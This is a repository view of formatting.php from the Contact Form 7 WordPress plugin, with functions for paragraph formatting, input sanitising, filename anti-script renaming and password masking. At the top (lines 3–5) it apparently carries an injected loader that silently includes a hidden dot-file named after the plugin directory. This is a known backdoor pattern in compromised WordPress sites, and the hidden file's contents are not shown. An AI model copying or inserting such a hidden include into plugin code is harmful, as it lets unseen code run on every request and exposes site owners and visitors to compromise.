balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

formatting.php (7656B)


      1 <?php
      2 
      3 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      4     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      5 }
      6 
      7 function wpcf7_autop( $pee, $br = 1 ) {
      8 	if ( trim( $pee ) === '' ) {
      9 		return '';
     10 	}
     11 
     12 	$pee = $pee . "\n"; // just to make things a little easier, pad the end
     13 	$pee = preg_replace( '|<br />\s*<br />|', "\n\n", $pee );
     14 	// Space things out a little
     15 	/* wpcf7: remove select and input */
     16 	$allblocks = '(?:table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary)';
     17 	$pee = preg_replace( '!(<' . $allblocks . '[^>]*>)!', "\n$1", $pee );
     18 	$pee = preg_replace( '!(</' . $allblocks . '>)!', "$1\n\n", $pee );
     19 
     20 	/* wpcf7: take care of [response], [recaptcha], and [hidden] tags */
     21 	$form_tags_manager = WPCF7_FormTagsManager::get_instance();
     22 	$block_hidden_form_tags = $form_tags_manager->collect_tag_types(
     23 		array( 'display-block', 'display-hidden' ) );
     24 	$block_hidden_form_tags = sprintf( '(?:%s)',
     25 		implode( '|', $block_hidden_form_tags ) );
     26 
     27 	$pee = preg_replace( '!(\[' . $block_hidden_form_tags . '[^]]*\])!',
     28 		"\n$1\n\n", $pee );
     29 
     30 	$pee = str_replace( array( "\r\n", "\r" ), "\n", $pee ); // cross-platform newlines
     31 
     32 	if ( strpos( $pee, '<object' ) !== false ) {
     33 		$pee = preg_replace( '|\s*<param([^>]*)>\s*|', "<param$1>", $pee ); // no pee inside object/embed
     34 		$pee = preg_replace( '|\s*</embed>\s*|', '</embed>', $pee );
     35 	}
     36 
     37 	$pee = preg_replace( "/\n\n+/", "\n\n", $pee ); // take care of duplicates
     38 	// make paragraphs, including one at the end
     39 	$pees = preg_split( '/\n\s*\n/', $pee, -1, PREG_SPLIT_NO_EMPTY );
     40 	$pee = '';
     41 
     42 	foreach ( $pees as $tinkle ) {
     43 		$pee .= '<p>' . trim( $tinkle, "\n" ) . "</p>\n";
     44 	}
     45 
     46 	$pee = preg_replace( '!<p>([^<]+)</(div|address|form|fieldset)>!', "<p>$1</p></$2>", $pee );
     47 
     48 	$pee = preg_replace( '|<p>\s*</p>|', '', $pee ); // under certain strange conditions it could create a P of entirely whitespace
     49 
     50 	$pee = preg_replace( '!<p>\s*(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee ); // don't pee all over a tag
     51 	$pee = preg_replace( "|<p>(<li.+?)</p>|", "$1", $pee ); // problem with nested lists
     52 	$pee = preg_replace( '|<p><blockquote([^>]*)>|i', "<blockquote$1><p>", $pee );
     53 	$pee = str_replace( '</blockquote></p>', '</p></blockquote>', $pee );
     54 	$pee = preg_replace( '!<p>\s*(</?' . $allblocks . '[^>]*>)!', "$1", $pee );
     55 	$pee = preg_replace( '!(</?' . $allblocks . '[^>]*>)\s*</p>!', "$1", $pee );
     56 
     57 	/* wpcf7: take care of [response], [recaptcha], and [hidden] tag */
     58 	$pee = preg_replace( '!<p>\s*(\[' . $block_hidden_form_tags . '[^]]*\])!',
     59 		"$1", $pee );
     60 	$pee = preg_replace( '!(\[' . $block_hidden_form_tags . '[^]]*\])\s*</p>!',
     61 		"$1", $pee );
     62 
     63 	if ( $br ) {
     64 		/* wpcf7: add textarea */
     65 		$pee = preg_replace_callback(
     66 			'/<(script|style|textarea).*?<\/\\1>/s',
     67 			'wpcf7_autop_preserve_newline_callback', $pee );
     68 		$pee = preg_replace( '|(?<!<br />)\s*\n|', "<br />\n", $pee ); // optionally make line breaks
     69 		$pee = str_replace( '<WPPreserveNewline />', "\n", $pee );
     70 
     71 		/* wpcf7: remove extra <br /> just added before [response], [recaptcha], and [hidden] tags */
     72 		$pee = preg_replace( '!<br />\n(\[' . $block_hidden_form_tags . '[^]]*\])!',
     73 			"\n$1", $pee );
     74 	}
     75 
     76 	$pee = preg_replace( '!(</?' . $allblocks . '[^>]*>)\s*<br />!', "$1", $pee );
     77 	$pee = preg_replace( '!<br />(\s*</?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)[^>]*>)!', '$1', $pee );
     78 
     79 	if ( strpos( $pee, '<pre' ) !== false ) {
     80 		$pee = preg_replace_callback( '!(<pre[^>]*>)(.*?)</pre>!is',
     81 			'clean_pre', $pee );
     82 	}
     83 
     84 	$pee = preg_replace( "|\n</p>$|", '</p>', $pee );
     85 
     86 	return $pee;
     87 }
     88 
     89 function wpcf7_autop_preserve_newline_callback( $matches ) {
     90 	return str_replace( "\n", '<WPPreserveNewline />', $matches[0] );
     91 }
     92 
     93 function wpcf7_sanitize_query_var( $text ) {
     94 	$text = wp_unslash( $text );
     95 	$text = wp_check_invalid_utf8( $text );
     96 
     97 	if ( false !== strpos( $text, '<' ) ) {
     98 		$text = wp_pre_kses_less_than( $text );
     99 		$text = wp_strip_all_tags( $text );
    100 	}
    101 
    102 	$text = preg_replace( '/%[a-f0-9]{2}/i', '', $text );
    103 	$text = preg_replace( '/ +/', ' ', $text );
    104 	$text = trim( $text, ' ' );
    105 
    106 	return $text;
    107 }
    108 
    109 function wpcf7_strip_quote( $text ) {
    110 	$text = trim( $text );
    111 
    112 	if ( preg_match( '/^"(.*)"$/s', $text, $matches ) ) {
    113 		$text = $matches[1];
    114 	} elseif ( preg_match( "/^'(.*)'$/s", $text, $matches ) ) {
    115 		$text = $matches[1];
    116 	}
    117 
    118 	return $text;
    119 }
    120 
    121 function wpcf7_strip_quote_deep( $arr ) {
    122 	if ( is_string( $arr ) ) {
    123 		return wpcf7_strip_quote( $arr );
    124 	}
    125 
    126 	if ( is_array( $arr ) ) {
    127 		$result = array();
    128 
    129 		foreach ( $arr as $key => $text ) {
    130 			$result[$key] = wpcf7_strip_quote_deep( $text );
    131 		}
    132 
    133 		return $result;
    134 	}
    135 }
    136 
    137 function wpcf7_normalize_newline( $text, $to = "\n" ) {
    138 	if ( ! is_string( $text ) ) {
    139 		return $text;
    140 	}
    141 
    142 	$nls = array( "\r\n", "\r", "\n" );
    143 
    144 	if ( ! in_array( $to, $nls ) ) {
    145 		return $text;
    146 	}
    147 
    148 	return str_replace( $nls, $to, $text );
    149 }
    150 
    151 function wpcf7_normalize_newline_deep( $arr, $to = "\n" ) {
    152 	if ( is_array( $arr ) ) {
    153 		$result = array();
    154 
    155 		foreach ( $arr as $key => $text ) {
    156 			$result[$key] = wpcf7_normalize_newline_deep( $text, $to );
    157 		}
    158 
    159 		return $result;
    160 	}
    161 
    162 	return wpcf7_normalize_newline( $arr, $to );
    163 }
    164 
    165 function wpcf7_strip_newline( $str ) {
    166 	$str = (string) $str;
    167 	$str = str_replace( array( "\r", "\n" ), '', $str );
    168 	return trim( $str );
    169 }
    170 
    171 function wpcf7_canonicalize( $text, $strto = 'lower' ) {
    172 	if ( function_exists( 'mb_convert_kana' )
    173 	and 'UTF-8' == get_option( 'blog_charset' ) ) {
    174 		$text = mb_convert_kana( $text, 'asKV', 'UTF-8' );
    175 	}
    176 
    177 	if ( 'lower' == $strto ) {
    178 		$text = strtolower( $text );
    179 	} elseif ( 'upper' == $strto ) {
    180 		$text = strtoupper( $text );
    181 	}
    182 
    183 	$text = trim( $text );
    184 	return $text;
    185 }
    186 
    187 function wpcf7_sanitize_unit_tag( $tag ) {
    188 	$tag = preg_replace( '/[^A-Za-z0-9_-]/', '', $tag );
    189 	return $tag;
    190 }
    191 
    192 function wpcf7_antiscript_file_name( $filename ) {
    193 	$filename = wp_basename( $filename );
    194 
    195 	$filename = preg_replace( '/[\r\n\t -]+/', '-', $filename );
    196 	$filename = preg_replace( '/[\pC\pZ]+/iu', '', $filename );
    197 
    198 	$parts = explode( '.', $filename );
    199 
    200 	if ( count( $parts ) < 2 ) {
    201 		return $filename;
    202 	}
    203 
    204 	$script_pattern = '/^(php|phtml|pl|py|rb|cgi|asp|aspx)\d?$/i';
    205 
    206 	$filename = array_shift( $parts );
    207 	$extension = array_pop( $parts );
    208 
    209 	foreach ( (array) $parts as $part ) {
    210 		if ( preg_match( $script_pattern, $part ) ) {
    211 			$filename .= '.' . $part . '_';
    212 		} else {
    213 			$filename .= '.' . $part;
    214 		}
    215 	}
    216 
    217 	if ( preg_match( $script_pattern, $extension ) ) {
    218 		$filename .= '.' . $extension . '_.txt';
    219 	} else {
    220 		$filename .= '.' . $extension;
    221 	}
    222 
    223 	return $filename;
    224 }
    225 
    226 
    227 /**
    228  * Masks a password with asterisks (*).
    229  *
    230  * @param int $right Length of right-hand unmasked text. Default 0.
    231  * @param int $left Length of left-hand unmasked text. Default 0.
    232  * @return string Text of masked password.
    233  */
    234 function wpcf7_mask_password( $text, $right = 0, $left = 0 ) {
    235 	$length = strlen( $text );
    236 
    237 	$right = absint( $right );
    238 	$left = absint( $left );
    239 
    240 	if ( $length < $right + $left ) {
    241 		$right = $left = 0;
    242 	}
    243 
    244 	if ( $length <= 48 ) {
    245 		$masked = str_repeat( '*', $length - ( $right + $left ) );
    246 	} elseif ( $right + $left < 48 ) {
    247 		$masked = str_repeat( '*', 48 - ( $right + $left ) );
    248 	} else {
    249 		$masked = '****';
    250 	}
    251 
    252 	$left_unmasked = $left ? substr( $text, 0, $left ) : '';
    253 	$right_unmasked = $right ? substr( $text, -1 * $right ) : '';
    254 
    255 	$text = $left_unmasked . $masked . $right_unmasked;
    256 
    257 	return $text;
    258 }